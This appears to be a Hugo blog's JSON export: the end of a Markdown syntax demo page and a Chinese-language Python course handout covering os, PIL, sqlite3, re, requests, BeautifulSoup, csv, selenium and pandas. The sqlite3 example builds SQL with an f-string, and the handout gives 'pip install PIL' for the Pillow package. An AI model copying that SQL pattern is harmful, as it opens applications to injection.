nis nust voloribus ratem aut omnimi, sitatur? Quiatem. Nam, omnis sum am facea corem alique molestrunt et eos evelece arcillit ut aut eos eos nus, sin conecerem erum fuga. Ri oditatquam, ad quibus unda veliamenimin cusam et facea ipsamus es exerum sitate dolores editium rerore eost, temped molorro ratiae volorro te reribus dolorer sperchicium faceata tiustia prat.\nItatur? Quiatae cullecum rem ent aut odis in re eossequodi nonsequ idebis ne sapicia is sinveli squiatum, core et que aut hariosam ex eat.\nBlockquotes The blockquote element represents content that is quoted from another source, optionally with a citation which must be within a footer or cite element, and optionally with in-line changes such as annotations and abbreviations.\nBlockquote without attribution Tiam, ad mint andaepu dandae nostion secatur sequo quae. Note that you can use Markdown syntax within a blockquote.\nBlockquote with attribution Don\u0026rsquo;t communicate by sharing memory, share memory by communicating.\n— Rob Pike1\nTables Tables aren\u0026rsquo;t part of the core Markdown spec, but Hugo supports supports them out-of-the-box.\nName Age Bob 27 Alice 23 Inline Markdown within tables Italics Bold Code italics bold code A B C D E F Lorem ipsum dolor sit amet, consectetur adipiscing elit. Phasellus ultricies, sapien non euismod aliquam, dui ligula tincidunt odio, at accumsan nulla sapien eget ex. Proin eleifend dictum ipsum, non euismod ipsum pulvinar et. Vivamus sollicitudin, quam in pulvinar aliquam, metus elit pretium purus Proin sit amet velit nec enim imperdiet vehicula. Ut bibendum vestibulum quam, eu egestas turpis gravida nec Sed scelerisque nec turpis vel viverra. Vivamus vitae pretium sapien Code Blocks Code block with backticks 1 2 3 4 5 6 7 8 9 10 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Example HTML5 Document\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;Test\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Code block indented with four spaces \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026quot;en\u0026quot;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026quot;utf-8\u0026quot;\u0026gt; \u0026lt;title\u0026gt;Example HTML5 Document\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;Test\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Code block with Hugo\u0026rsquo;s internal highlight shortcode 1 2 3 4 5 6 7 8 9 10 \u0026lt;!doctype html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026#34;utf-8\u0026#34;\u0026gt; \u0026lt;title\u0026gt;Example HTML5 Document\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;Test\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; Diff code block 1 2 3 4 5 [dependencies.bevy] git = \u0026#34;https://github.com/bevyengine/bevy\u0026#34; rev = \u0026#34;11f52b8c72fc3a568e8bb4a4cd1f3eb025ac2e13\u0026#34; - features = [\u0026#34;dynamic\u0026#34;] + features = [\u0026#34;jpeg\u0026#34;, \u0026#34;dynamic\u0026#34;] List Types Ordered List First item Second item Third item Unordered List List item Another item And another item Nested list Fruit Apple Orange Banana Dairy Milk Cheese Other Elements — abbr, sub, sup, kbd, mark GIF is a bitmap image format.\nH2O\nXn + Yn = Zn\nPress CTRL+ALT+Delete to end the session.\nMost salamanders are nocturnal, and hunt for insects, worms, and other small creatures.\nHyperlinked image The above quote is excerpted from Rob Pike\u0026rsquo;s talk during Gopherfest, November 18, 2015.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","date":"2022-07-16T00:00:00Z","image":"https://blog.wayne-project.com/2022-07-16/markdown-syntax/pawel-czerwinski-8uZPynIu-rQ-unsplash_hu_e95a4276bf860a84.jpg","permalink":"https://blog.wayne-project.com/2022-07-16/markdown-syntax/","title":"Markdown 語法指南"},{"content":" 指導教師：李菊權(0921-763623) python(版本3.8.2) 安裝至環境變數(Windows10) Add Python 3.8 to PATH 若沒勾選，需自行到(以下兩種方式進入環境變數設定)\n本機 ▸ 內容 控制台 ▸ 系統及安全性 ▸ 系統\n進階系統設定 ▸ 系統內容 ▸ 進階 ▸ 環境變數\n將python.exe目錄新增至環境變數\n(PATH ▸ 編輯 ▸ 新增) 1 2 3 4 5 6 7 8 9 ### python.exe預設位置(Windows10) C:\\Users\\user\\AppData\\Local\\Programs\\Python\\Python38-32\\ ### 找python.exe(Windows10) where python.exe \u0026gt; C:\\Users\\user\\AppData\\Local\\Programs\\Python\\Python38-32\\python.exe ### 將以下此段路徑新增至環境變數 ### C:\\Users\\user\\AppData\\Local\\Programs\\Python\\Python38-32\\ Python介紹 Python 動態型別(強型別)/直譯式語言 動態型別：使用變數時不須預先宣告型別，依照設定之值而變。 強型別：不同型別無法進行運算。 直譯式語言：不須經過編譯即可直接執行。 副檔名：.py IDLE python官方提供的IDE 推薦開發環境 Anaconda Spyder - 整合開發程式 Python Shell (REPL) Python Shell (REPL) 模式\n進入Python Shell (REPL) 1 2 python \u0026gt;\u0026gt;\u0026gt; # 開頭變成\u0026gt;\u0026gt;\u0026gt;代表進入python shell 離開Python Shell (REPL) 1 quit() 清除當前Python Shell Screen 1 cls Python Plugin 作業系統模組 - os 載入模組 1 import os # 匯入系統模組 打開系統的指定程式 - os.system(程式名) 1 2 os.system(\u0026#34;mspaint\u0026#34;) # 打開小畫家 os.system(\u0026#34;calc\u0026#34;) # 打開計算機 列出目錄中所有檔案 - os.listdir(路徑) 1 os.listdir(\u0026#34;./\u0026#34;) # 當前目錄 取得當前目錄 - os.getcwd() 1 os.getcwd() 檢查目錄是否存在 - os.path.isdir(目錄路徑) 1 2 3 4 5 6 # 檢查當前位置是否存在export目錄 testDir = os.getcwd() + \u0026#34;\\\\export\u0026#34; if os.path.isdir(testDir): print(\u0026#34;exist\u0026#34;) else: print(\u0026#34;not exist\u0026#34;) 檢查檔案是否存在 - os.path.isfile(檔案路徑) 1 2 3 4 5 6 # 檢查當前位置是否存在text.txt testFile = os.getcwd() + \u0026#34;\\\\test.txt\u0026#34; if os.path.isfile(testFile): print(\u0026#34;exist\u0026#34;) else: print(\u0026#34;not exist\u0026#34;) 檢查路徑是否存在 - os.path.exists(目錄路徑) 1 2 3 4 5 testPath = \u0026#34;\\\\etc\\\\hosts\u0026#34; if os.path.exists(testPath): print(\u0026#34;exist\u0026#34;) else: print(\u0026#34;not exist\u0026#34;) 於指定路徑建立目錄 - os.mkdir(路徑+目錄名) 1 2 3 4 # 檢查當前目錄是否存在export目錄，沒有則建立 new_dir = os.getcwd() + \u0026#34;\\\\export\u0026#34; if os.path.isdir(new_dir) != True: os.mkdir(new_dir) 影像處理模組 - PIL(Pillow) 安裝 PIL 模組 1 2 ### 使用 pip 安裝 PIL 模組 pip install PIL 載入模組 1 from PIL import Image 打開圖檔 - .open(圖檔路徑) 1 im = Image.open(\u0026#34;test.jpg\u0026#34;) 存檔 - .save(\u0026quot;檔名\u0026quot;, \u0026ldquo;[格式]\u0026rdquo;, [quality = 壓縮值(通常設定80或90)], [subsampling = 0]) 1 2 3 4 5 im = Image.open(\u0026#34;test.jpg\u0026#34;) # 打開圖檔 im.save(\u0026#34;test1.png\u0026#34;) # 轉存成png # 轉存成png並壓縮品質:80 im.save(\u0026#34;test2.png\u0026#34;, quality = 80, subsampling = 0) PIL常用的圖檔格式\n格式 BMP、EPS、GIF、JPEG、JPG、PNG、TIFF、PDF 調整圖片尺寸 - .resize((寬, 高) [, filter(濾波)設定]) 不會自動等比例縮放，需等比例縮放得自行計算比例。\n1 2 3 4 5 6 im = Image.open(\u0026#34;test.jpg\u0026#34;) # 載入圖片 width = 400 # 指定寬度為 400px ratio = float(width)/im.size[0] # 計算長寬比 height = int(im.size[1]*ratio) # 高度依長寬比計算並調整 nim = im.resize((width, height), Image.BILINEAR) nim.save(\u0026#34;test_resized.jpg\u0026#34;) # 另存調整尺寸後的圖檔 濾波設定值\nfilter(濾波) 說明 NEAREST 預設濾波，從輸入的圖檔中選取最近的像素作為輸出像素。 BILINEAR 雙線性內插濾波，再輸入圖像的 2*2 矩陣上進行線性插值。 BICUBIC 雙立方濾波，再輸入圖像的 4*4 矩陣上進行立方插值。 ANTIALIAS 平滑濾波，對所有可以影響輸出像素的輸入像素進行高質量的重採樣濾波，以計算輸出像素值。 圖像繪製工具 - turtle 1 2 3 4 5 6 7 8 9 import turtle # 匯入圖像繪製工具turtle turtle.showturtle() # 打開turtle turtle.forward(100) # turtle往前100 turtle.left(90) # 左轉90度 turtle.circle(30) # 畫半徑30的圓 turtle.reset() # 重新設定 turtle.goto(30,50) # 移動到指定座標 turtle.penup() # 將筆提起 turtle.pendown() # 將筆放下 數字模組 - math 1 2 3 4 5 6 7 8 9 10 11 import math print(math.pi) # 取圓周率 \u0026gt;\u0026gt;\u0026gt; 3.141592653589793 print(math.radians(45)) # 取弧度45度 \u0026gt;\u0026gt;\u0026gt; 0.7853981633974483 print(math.sin(math.radians(45))) # 取sin(45度) \u0026gt;\u0026gt;\u0026gt; 0.7071067811865476 print(math.factorial(5)) # 取階乘(5為1*2*3*4*5) \u0026gt;\u0026gt;\u0026gt; 120 print(math.gcd(27, 9)) # 取最大公因數 \u0026gt;\u0026gt;\u0026gt; 9 亂數模組 - random 1 2 3 4 5 6 7 8 9 10 11 12 import random random.random() # 取0~1的隨機數 \u0026gt;\u0026gt;\u0026gt; 0.5672829418362756 random.randint(1, 10) # 取1~10的隨機數 \u0026gt;\u0026gt;\u0026gt; 4 K = [2,6,9,8,14,20,30] # 先設定一個陣列 random.shuffle(K) # 打亂陣列排列(直接操作該陣列) print(K) \u0026gt;\u0026gt;\u0026gt; [30, 9, 2, 6, 14, 20, 8] 浮點數精度模組 - Decimal 1 2 3 4 5 6 7 print(0.1+0.1+0.1) \u0026gt;\u0026gt;\u0026gt; 0.30000000000000004 # 使用Decimal模組來避免浮點數精度問題 from decimal import Decimal print(Decimal(\u0026#34;0.1\u0026#34;)*3) \u0026gt;\u0026gt;\u0026gt; 0.3 抓DOS模式後方參數的模組 - sys 1 2 3 # sysArgv.py import sys print(sys.argv) 1 2 3 # 於DOS模式執行sysArgv.py並於後方帶參數A、B、C python sysArgv.py A B C \u0026gt;\u0026gt;\u0026gt; [\u0026#39;sysArgv.py\u0026#39;, \u0026#39;A\u0026#39;, \u0026#39;B\u0026#39;, \u0026#39;C\u0026#39;] 資料庫模組 - sqlite3 載入模組 1 import sqlite3 連接資料庫 - .connect() 資料庫連結.connect(資料庫名稱) 1 2 import sqlite3 conn = sqlite3.connect(\u0026#34;test.sqlite\u0026#34;) Cursor指標指到資料庫(以便使用資料庫物件操作資料庫) - .cursor() 資料庫物件 = 資料庫連結.cursor() 1 2 3 import sqlite3 conn = sqlite3.connect(\u0026#34;test.sqlite\u0026#34;) cursor = conn.cursor() 執行SQL語法 - .execute() 資料庫物件.execute(SQL語法) 1 2 3 4 5 6 7 8 9 10 11 12 import sqlite3 conn = sqlite3.connect(\u0026#34;test.sqlite\u0026#34;) cursor = conn.cursor() SQL = \u0026#34;CREATE TABLE IF NOT EXISTS UserScore(\u0026#39;Name\u0026#39; Text, \u0026#39;Score\u0026#39; Integer)\u0026#34; cursor.execute(SQL) # 使用變數 name = \u0026#39;Wayne\u0026#39; Score = 80 SQL = f\u0026#34;INSERT INTO UserScore VALUES(\u0026#39;{name}\u0026#39;, {Score})\u0026#34; cursor.execute(SQL) 提交當前的SQL事務(執行完SQL需使用此函式提交) - .commit() 資料庫連結.commit() 1 2 conn.commit() conn.close() 取得所有資料 - .fetchall() 資料庫物件.fetchall() 1 2 3 4 5 6 7 8 9 10 import sqlite3 conn = sqlite3.connect(\u0026#34;test042601.sqlite3\u0026#34;) cursor = conn.cursor() SQL = \u0026#39;SELECT * FROM UserData;\u0026#39; cursor.execute(SQL) rows = cursor.fetchall() for row in rows: # format格式化資料型態 print(\u0026#34;{}\\t{}\\t{}\u0026#34;.format(row[0], row[1], row[2])) 取得單筆資料 - .fetchone() 資料庫物件.fetchone() 1 2 3 4 5 6 7 8 9 import sqlite3 conn = sqlite3.connect(\u0026#34;test042601.sqlite3\u0026#34;) cursor = conn.cursor() SQL = \u0026#39;SELECT * FROM UserData;\u0026#39; cursor.execute(SQL) line = cursor.fetchone() if not line == None: print(\u0026#34;{}\\t{}\\t{}\u0026#34;.format(line[0], line[1], line[2])) 正規表達式模組 - re 以小寫r開頭再接字串，例如：r\u0026quot;\\d\u0026quot;、r\u0026quot;0-9\u0026quot; 規則寫法 說明 範例 {} 個數 \\d{4}-\\d{6}：台灣電話號碼格式0000-000000為符合 {n,} 至少出現n次 X{2,}：X至少出現2次才符合 ` ` 或 \\d 任意數字 \\d：0-9為符合 - 到 1-5：1 ~ 5為符合,a-z：a ~ z為符合 ^ 否定 ^aeiou：非a,e,i,o,u為符合 . 字元 .：字元皆符合,符號類(例如：\\n)不符合 * 重複前一個字元0~無限多次都符合 err*：err、errr、errrr\u0026hellip;等都為符合 ? 前一個字元可有可無皆符合 colou?r：color、colour皆為符合 + 前一個字元要一次以上才符合 er+：er不符合,err、errr\u0026hellip;等才符合 $ 1.位數由後往前匹配 2.為結尾才匹配 [1-9]\\d$：1 ~ 99皆為符合,100不符合 () 1.僅收集括號內的內容 2.分組別以便.group(組別)可以直接抓到值 r'\u0026lt;h3 class=\u0026quot;LC20lb DKV0Md\u0026quot;\u0026gt;(.*?)\u0026lt;/h3\u0026gt;'：僅回傳\u0026lt;h3\u0026gt;內的文字 \\b 邊界,為邊界則符合 dog\\b：\u0026lsquo;dog \u0026lsquo;符合,\u0026lsquo;dog\u0026rsquo;不符合 \\數字 分組向前參考 貪婪/逐步量詞 (*/?) 貪婪量詞 - *:0次~無限次皆符合。 1 2 3 re.match(r\u0026#34;\u0026lt;.*\u0026gt;\u0026#34;, \u0026#34;\u0026lt;h3\u0026gt;大家好\u0026lt;/h3\u0026gt;\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;h3\u0026gt;大家好\u0026lt;/h3\u0026gt; 逐步量詞 - ?:回傳最短的量詞。 1 2 3 re.match(r\u0026#34;\u0026lt;.*?\u0026gt;\u0026#34;, \u0026#34;\u0026lt;h3\u0026gt;大家好\u0026lt;/h3\u0026gt;\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;h3\u0026gt; 載入模組 1 import re 分割字串 - re.split(正則, 分割的字串) 1 2 3 print(re.split(\u0026#39;\\d\u0026#39;, \u0026#34;Andy1Ben2Cathy\u0026#34;)) \u0026gt;\u0026gt;\u0026gt; [\u0026#39;Andy\u0026#39;, \u0026#39;Ben\u0026#39;, \u0026#39;Cathy\u0026#39;] 取代字元 - re.sub(正則, 欲取代的字元, 字串) 1 2 3 re.sub(\u0026#34;\\d\u0026#34;, \u0026#34;-\u0026#34;, \u0026#34;Andy1Ben2Cathy\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026#39;Andy-Ben-Cathy\u0026#39; 匹配字元 - re.match(欲匹配的文字, 字串) 1 2 3 re.match(\u0026#34;yahoo\u0026#34;, \u0026#34;yahoo.com.tw\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;re.Match object; span=(0, 5), match=\u0026#39;yahoo\u0026#39;\u0026gt; 尋找字元(找第一個) - re.search(欲尋找的文字, 字串) 1 2 3 re.search(\u0026#34;yahoo\u0026#34;, \u0026#34;yahoo.com.tw\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;re.Match object; span=(0, 5), match=\u0026#39;yahoo\u0026#39;\u0026gt; 尋找字元(找所有) - re.findall(欲尋找的文字, 字串) 1 2 3 re.findall(\u0026#39;\\d{4}-\\d{6}\u0026#39;, \u0026#34;jjladpoiwlkj 0800-123456 hjkpojas 0921-456873\u0026#34;) \u0026gt;\u0026gt;\u0026gt; [\u0026#39;0800-123456\u0026#39;, \u0026#39;0921-456873\u0026#39;] 抓html模組 - requests 載入模組 1 import requests GET 抓取檔案 - .get(網址) 1 response = requests.get(\u0026#34;https://www.baidu.com/\u0026#34;) GET 可帶的參數(需使用關鍵字參數) 說明 headers 請求的headers params 參數 cookies client的cookies 抓取標頭(head) - .head(網址) 1 2 # .head() -\u0026gt; 只抓標頭 reshead = requests.head(\u0026#34;https://www.baidu.com/\u0026#34;) 狀態碼 - status_code 1 2 3 print(response.status_code) \u0026gt;\u0026gt;\u0026gt; 200 # 200為正常連線 編碼格式 - encoding 1 2 3 4 5 print(response.encoding) \u0026gt;\u0026gt;\u0026gt; \u0026#39;ISO-8859-1\u0026#39; # 轉編碼為utf-8 response.encoding = \u0026#34;utf-8\u0026#34; html內容 - text 1 2 3 print(response.text) \u0026gt;\u0026gt;\u0026gt; \u0026#39;\u0026lt;!DOCTYPE html\u0026gt;\\r\\n\u0026lt;!--STATUS OK--\u0026gt;\u0026lt;html\u0026gt;...\u0026#39; response headers - headers 1 2 3 print(response.headers) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;Server\u0026#39;: \u0026#39;Baby Web Server\u0026#39;, \u0026#39;Content-Type\u0026#39;: \u0026#39;text/html\u0026#39;, \u0026#39;Content-Length\u0026#39;: \u0026#39;467\u0026#39;, \u0026#39;Set-Cookie\u0026#39;: \u0026#39;SESSIONID=00000006; path=/;version=1\u0026#39;, \u0026#39;Date\u0026#39;: \u0026#39;Sun, 03 May 2020 10:41:58 GMT\u0026#39;} request headers - request.headers 其中的User-Agent相當重要，用來判斷使用者的相關資訊用，爬蟲與反爬蟲通常使用此參數。 1 2 3 print(response.request.headers) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;User-Agent\u0026#39;: \u0026#39;python-requests/2.22.0\u0026#39;, \u0026#39;Accept-Encoding\u0026#39;: \u0026#39;gzip, deflate\u0026#39;, \u0026#39;Accept\u0026#39;: \u0026#39;*/*\u0026#39;, \u0026#39;Connection\u0026#39;: \u0026#39;keep-alive\u0026#39;} 抓圖片檔 開檔格式使用wb:二進位格式寫入 w:寫入 / b:二進位格式 1 2 3 4 5 6 7 8 import requests res = requests.get(\u0026#34;https://www.natgeomedia.com/userfiles/PhotoContest/771/sm1100/2019091450912553.jpg\u0026#34;) photo = res.content # w:寫入/b:二進位格式 \u0026#34;wb\u0026#34; =\u0026gt; 二進位格式寫入 with open(\u0026#34;img01.jpg\u0026#34;, \u0026#34;wb\u0026#34;) as file: file.write(photo) 帶request header的請求 先從一般瀏覽器取得header(user-agent) 需使用關鍵字參數 1 2 3 4 5 # 從瀏覽器的開發者工具取得正常的request headers資料 headers = {\u0026#34;user-agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36\u0026#34;} # 在後方帶入關鍵字參數headers res = requests.get(\u0026#34;http://google.com.tw\u0026#34;, headers = headers) POST POST 可帶的參數(需使用關鍵字參數) 說明 data form data請求的data headers 請求的headers cookies client的cookies POST存Session - .Session() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 data = { \u0026#34;from\u0026#34;: \u0026#34;/bbs/Gossiping/index.html\u0026#34;, \u0026#34;yes\u0026#34;: \u0026#34;yes\u0026#34; } headers = { \u0026#34;user-agent\u0026#34;: \u0026#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36\u0026#34; } # 先使用POST取得滿18歲的驗證並存放置session內 rs = requests.Session() rs.post(\u0026#34;https://www.ptt.cc/ask/over18\u0026#34;, data = data, headers = headers) # 過滿18歲的驗證後使用get取得網頁內容 response = rs.get(\u0026#34;https://www.ptt.cc/bbs/Gossiping/index.html\u0026#34;, headers = headers) 解析\u0026amp;美化HTML模組 - BeautifulSoup4 載入模組 1 from bs4 import BeautifulSoup BeautifulSoup4的基本元素表 基本元素 說明 tag 標籤：最基本的信息組織單位，分別用\u0026lt;\u0026gt;和\u0026lt;/\u0026gt;標明開頭與結尾。 name 標籤名稱：\u0026lt;p\u0026gt;...\u0026lt;/p\u0026gt;的名字是p，格式：\u0026lt;tag\u0026gt;.name。 Attributes 屬性：\u0026lt;tag\u0026gt;.attrs，dict型式。 NavigatString 內容：\u0026lt;tag\u0026gt;.string。 Comment 註釋：標籤內字符串的註釋部分，一種特殊的Comment類型。 解析 - .BeautifulSoup(html, \u0026lsquo;html.parser\u0026rsquo;) 1 2 3 4 5 6 7 8 9 10 demo = \u0026#34;\u0026#34;\u0026#34; \u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\u0026lt;title\u0026gt;This is a python demo page\u0026lt;/title\u0026gt;\u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;b\u0026gt;The demo python introduces several python courses.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;p class=\u0026#34;course\u0026#34;\u0026gt;Python is a wonderful general-purpose programming language. You can learn Python from novice to professional by tracking the following courses: \u0026lt;a href=\u0026#34;http://www.icourse163.org/course/BIT-268001\u0026#34; class=\u0026#34;py1\u0026#34; id=\u0026#34;link1\u0026#34;\u0026gt;Basic Python\u0026lt;/a\u0026gt; and \u0026lt;a href=\u0026#34;http://www.icourse163.org/course/BIT-1001870001\u0026#34; class=\u0026#34;py2\u0026#34; id=\u0026#34;link2\u0026#34;\u0026gt;Advanced Python\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt; \u0026#34;\u0026#34;\u0026#34; soup = BeautifulSoup(demo, \u0026#39;html.parser\u0026#39;) 美化 - .prettify() 1 print(soup.prettify()) 取得屬性 - .attrs 1 2 3 4 5 print(soup.a.attrs) \u0026gt;\u0026gt;\u0026gt; {\u0026#39;href\u0026#39;: \u0026#39;http://www.icourse163.org/course/BIT-268001\u0026#39;, \u0026#39;class\u0026#39;: [\u0026#39;py1\u0026#39;], \u0026#39;id\u0026#39;: \u0026#39;link1\u0026#39;} 取得tag內容 - .string/.text 1 2 3 4 5 print(soup.a.string) print(soup.a.text) \u0026gt;\u0026gt;\u0026gt; \u0026#39;Basic Python\u0026#39; \u0026gt;\u0026gt;\u0026gt; \u0026#39;Basic Python\u0026#39; 找第一個標籤 - .find(\u0026quot;標籤\u0026quot;) 1 2 3 soup.find(\u0026#34;a\u0026#34;) \u0026gt;\u0026gt;\u0026gt; \u0026lt;a class=\u0026#34;py1\u0026#34; href=\u0026#34;http://www.icourse163.org/course/BIT-268001\u0026#34; id=\u0026#34;link1\u0026#34;\u0026gt;Basic Python\u0026lt;/a\u0026gt; 找全部的標籤 - .find_all(\u0026quot;標籤\u0026quot;, class_=\u0026quot;className\u0026quot;) 可加上class做篩選條件。 1 2 3 4 5 6 7 8 9 # 寫法1： soup.find_all(\u0026#34;p\u0026#34;, class_=\u0026#34;title\u0026#34;) \u0026gt;\u0026gt;\u0026gt; [\u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;b\u0026gt;The demo python introduces several python courses.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt;] # 寫法2： soup.find_all(\u0026#34;p\u0026#34;, {\u0026#34;class\u0026#34;=\u0026#34;title\u0026#34;}) \u0026gt;\u0026gt;\u0026gt; [\u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;b\u0026gt;The demo python introduces several python courses.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt;] 透過選擇器篩選標籤 - .select(同CSS選擇器,Class或ID) 若有空格會有問題，soup.select(.\u0026quot;title p\u0026quot;) 會報錯，空格需使用.find()、.findAll() 1 2 3 4 5 6 7 # 使用Class選擇器 print(soup.select(\u0026#34;.title\u0026#34;)) \u0026gt;\u0026gt;\u0026gt; [\u0026lt;p class=\u0026#34;title\u0026#34;\u0026gt;\u0026lt;b\u0026gt;The demo python introduces several python courses.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt;] # 使用ID選擇器 print(soup.select(\u0026#34;#link1\u0026#34;)) \u0026gt;\u0026gt;\u0026gt; [\u0026lt;a class=\u0026#34;py1\u0026#34; href=\u0026#34;http://www.icourse163.org/course/BIT-268001\u0026#34; id=\u0026#34;link1\u0026#34;\u0026gt;Basic Python\u0026lt;/a\u0026gt;] json模組 載入模組 1 import json json轉dict - json.loads(\u0026quot;字串\u0026quot;) 1 2 3 4 5 6 7 import json txt = \u0026#39;{ \u0026#34;name\u0026#34;: \u0026#34;John\u0026#34;, \u0026#34;age\u0026#34;: \u0026#34;28\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Taiwan\u0026#34; }\u0026#39; data = json.loads(txt) print(type(data)) # 字典型態 \u0026gt;\u0026gt;\u0026gt; \u0026#39;\u0026lt;class \u0026#39;dict\u0026#39;\u0026gt;\u0026#39; dict轉json string - json.dumps(\u0026quot;字典\u0026quot;) 1 2 3 4 5 6 7 import json txt = { \u0026#34;name\u0026#34;: \u0026#34;John\u0026#34;, \u0026#34;age\u0026#34;: \u0026#34;28\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Taiwan\u0026#34; } jsonData = json.dumps(txt) print(jsonData) # 轉換後為json格式的字串 \u0026gt;\u0026gt;\u0026gt; {\u0026#34;name\u0026#34;: \u0026#34;John\u0026#34;, \u0026#34;age\u0026#34;: \u0026#34;28\u0026#34;, \u0026#34;city\u0026#34;: \u0026#34;Taiwan\u0026#34;} csv模組 載入模組 1 import csv 以_csv.reader型態讀取csv檔 - csv.reader(檔案) 1 2 3 4 5 6 import csv with open(\u0026#39;MI_5MINS_HIST.csv\u0026#39;, encoding=\u0026#39;big5\u0026#39;) as file: rows = csv.reader(file) # 一筆一筆取出資料 for row in rows: print(row) 以dict型態讀取csv檔 - csv.DictReader(檔案) 1 2 3 4 5 6 import csv with open(\u0026#39;MI_5MINS_HIST.csv\u0026#39;, encoding=\u0026#39;big5\u0026#39;) as file: rows = csv.DictReader(file) # 一筆一筆取出資料 for row in rows: print(row) 寫入csv檔 - csv.writer(檔案變數) 需先定義一個物件為csv.writer()，在進行寫入。 writerow() ：單行寫入 1 2 3 4 5 6 with open(\u0026#39;Temp.csv\u0026#39;, \u0026#39;w\u0026#39;) as csvfile: writer = csv.writer(csvfile) writer.writerow([\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;]) writer.writerow([\u0026#39;Jessica\u0026#39;, 158, 45]) writer.writerow([\u0026#39;Wayne\u0026#39;, 172, 60]) 以字典型態寫入csv檔 - csv.DictWriter(檔案變數, fieldnames=欄位變數(列表型態)) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 with open(\u0026#39;DictTemp.csv\u0026#39;, \u0026#39;w\u0026#39;, encoding=\u0026#39;big5\u0026#39;) as csvfile: # 設定欄位變數 rowNames = [\u0026#39;姓名\u0026#39;, \u0026#39;身高\u0026#39;, \u0026#39;體重\u0026#39;] # fieldnames = 指定欄位 writer = csv.DictWriter(csvfile, fieldnames=rowNames) # 寫入欄位名稱 writer.writeheader() #寫入資料 writer.writerow({\u0026#39;姓名\u0026#39;: \u0026#39;Jessica\u0026#39;, \u0026#39;身高\u0026#39;: 156, \u0026#39;體重\u0026#39;: 45}) writer.writerow({\u0026#39;姓名\u0026#39;: \u0026#39;Wayne\u0026#39;, \u0026#39;身高\u0026#39;: 172, \u0026#39;體重\u0026#39;: 60}) 模擬瀏覽器模組(自動化測試) - selenium 安裝 selenium 模組 Anaconda編譯器的話，使用Anaconda Prompt 1 2 ### anaconda 安裝 selenium 模組 conda install selenium 1 2 ### 使用 pip 安裝 selenium 模組 pip install selenium 下載瀏覽器驅動(web driver)\n先查看chrome瀏覽器的版本，Google：Web driver chrome後下載。\n載入模組\n1 from selenium import webdriver 實例化一個瀏覽器視窗(Chrome)，並設定一個瀏覽器物件 檔案名稱勿與selenium模組名稱相同以免衝突而無法執行 1 2 3 from selenium import webdriver driver = webdriver.Chrome() 發送GET請求 - 瀏覽器物件.get(網址) 1 driver.get(\u0026#34;http://www.baidu.com\u0026#34;) 根據dom元件的id/class定位 - 瀏覽器物件.find_element_by_id(id) 或 瀏覽器物件.find_element_by_class(class) 1 2 # 找到id為\u0026#34;kw\u0026#34;的input，並輸入\u0026#34;python\u0026#34; driver.find_element_by_id(\u0026#34;kw\u0026#34;).send_keys(\u0026#34;python\u0026#34;) 送出表單 - 瀏覽器物件.dom元件.submit() 1 2 # 送出id為\u0026#34;su\u0026#34;的表單 driver.find_element_by_id(\u0026#34;su\u0026#34;).submit() 點擊事件 - 瀏覽器物件.dom元件.click() 1 2 # 送出id為\u0026#34;btn\u0026#34;的按鈕 driver.find_element_by_id(\u0026#34;btn\u0026#34;).click() 取得頁面原始碼 - .page_source 1 SourceHtml = driver.page_source 螢幕截圖 - 瀏覽器物件.save_screenshot(截圖的圖檔名稱) 1 driver.save_screenshot(\u0026#34;screen.png\u0026#34;) 獲取cookies - 瀏覽器物件.get_cookie() 1 2 cookies = driver.get_cookie() print(cookies) 關閉實例化的瀏覽器視窗 - 瀏覽器物件.close() 或 瀏覽器物件.quit() 1 2 driver.close() # 或 driver.quit() 資料分析模組 - Pandas 載入模組 1 import pandas 解析list類型 - pandas物件.Series(資料) 1 2 3 4 5 6 7 8 9 import pandas data = [20, 10, 15] pds = pandas.Series(data) print(pds) \u0026gt;\u0026gt;\u0026gt; 0 20 